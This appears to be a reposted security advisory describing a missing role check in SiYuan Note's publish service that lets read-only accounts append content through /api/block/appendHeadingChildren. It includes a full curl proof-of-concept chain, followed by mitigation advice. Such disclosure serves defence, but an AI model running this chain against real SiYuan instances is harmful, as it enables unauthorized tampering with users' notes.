Listen to this Post
The vulnerability is a privilege escalation flaw in the publish service of SiYuan Note . It allows a low-privilege publish account (RoleReader), which is intended to have read-only access, to modify notebook content. The issue resides in the `/api/block/appendHeadingChildren` API endpoint. This endpoint is designed to append new blocks (content elements) to existing document headings. The endpoint’s handler is protected only by a general authentication check (model.CheckAuth), which successfully authenticates a low-privilege `RoleReader` session. Crucially, the endpoint lacks additional, more restrictive checks like `CheckAdminRole` or `CheckReadonly` that would prevent write operations by read-only users. Because the function performs a persistent document mutation by writing to the database via indexWriteTreeUpsertQueue, any authenticated user, regardless of their intended read-only role, can successfully call it. By chaining several API calls—enabling the publish service with a low-privilege account, creating a target document as an admin, then using the low-privilege account to fetch a block ID and generate malicious block DOM—an attacker can send a crafted request to the vulnerable endpoint. The server processes the request and appends the attacker’s content to the document, confirming the unauthorized modification and complete bypass of the intended role-based access controls.
Platform: SiYuan
Version: Unspecified
Vulnerability: Privilege Escalation
Severity: High
Date: March 9, 2026
Prediction: Q2 2026
What Undercode Say:
Analytics:
The vulnerability stems from missing role-based authorization checks on a critical write function. The endpoint `/api/block/appendHeadingChildren` is protected only by model.CheckAuth, which passes for `RoleReader` users, instead of requiring `CheckAdminRole` or `CheckReadonly` . The vulnerable code is located in `router.go` (line 245), `api/block.go` (lines 193-205), and `model/block.go` (lines 688-714). The core issue is that the `appendHeadingChildren` handler performs a persistent write operation (indexWriteTreeUpsertQueue) without verifying that the authenticated session has the necessary privileges to modify content.
Bash Commands and Codes:
1. Enable Publish Service & Create Low-Privilege Account:
curl -u workspace:<ACCESS_AUTH_CODE> -H "Content-Type: application/json" -d '{"enable": true, "port": 6808, "auth": {"enable": true, "accounts": [{"username": "viewer", "password": "viewerpass"}]}}' http://127.0.0.1:6806/api/setting/setPublish
2. Create Test Notebook and Document (as Admin):
curl -u workspace:<ACCESS_AUTH_CODE> -H "Content-Type: application/json" -d '{"name":"AuditPOC"}' http://127.0.0.1:6806/api/notebook/createNotebook
curl -u workspace:<ACCESS_AUTH_CODE> -H "Content-Type: application/json" -d '{"notebook":"<NOTEBOOK_ID>", "path":"/Victim", "markdown":" VictimHeading\n\nOriginal paragraph"}' http://127.0.0.1:6806/api/filetree/createDocWithMd
3. Retrieve Heading Block ID (as Low-Privilege User):
curl -u viewer:viewerpass -H "Content-Type: application/json" -d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' http://127.0.0.1:6808/api/query/sql
Expected Response: `{“id”:”20260307093334-05sj7bz”, “root_id”:”20260307093334-vsa6ft0″}`
4. Generate Malicious Block DOM:
curl -u viewer:viewerpass -H "Content-Type: application/json" -d '{"dom":"
InjectedByReader
"}' http://127.0.0.1:6808/api/lute/html2BlockDOM
5. Exploit: Append Block Using Vulnerable Endpoint:
curl -u viewer:viewerpass -H "Content-Type: application/json" -d '{"id":"20260307093334-05sj7bz", "childrenDOM":"
<div ...>InjectedByReader</div>
"}' http://127.0.0.1:6808/api/block/appendHeadingChildren
Server Response: `{“code”:0}`
6. Verify Unauthorized Modification:
curl -u viewer:viewerpass -H "Content-Type: application/json" -d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' http://127.0.0.1:6808/api/query/sql
Result includes: `InjectedByReader`
Exploit:
The exploit chain leverages the fact that the publish service’s `RoleReader` can bypass intended read-only restrictions. An attacker with valid low-privilege credentials first identifies a target block ID via an SQL query. They then generate a block DOM containing malicious content. The final exploit request sends this DOM to `/api/block/appendHeadingChildren` with the target block ID. Because the server only checks for a valid session (CheckAuth) and not the user’s role (CheckAdminRole), it processes the request and writes the new content to the database, permanently altering the document .
Protection:
To protect against this vulnerability, administrators should immediately restrict network access to the publish service port (default 6808) and disable the publish service if not in active use. The permanent fix requires a code patch that adds proper role-based authorization checks to the `/api/block/appendHeadingChildren` endpoint. Specifically, the handler should call `CheckAdminRole` or `CheckReadonly` to ensure that only users with write permissions can modify content. Until a patch is applied, monitor the publish service logs for suspicious `appendHeadingChildren` requests from non-admin accounts.
Impact:
Successful exploitation allows any authenticated publish user with read-only privileges to arbitrarily modify notebook content. This leads to unauthorized tampering of private and published notes, complete loss of data integrity, and potential defacement of shared knowledge bases. The vulnerability could also be chained with other API endpoints to further escalate privileges or pivot to more severe attacks within the SiYuan instance .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

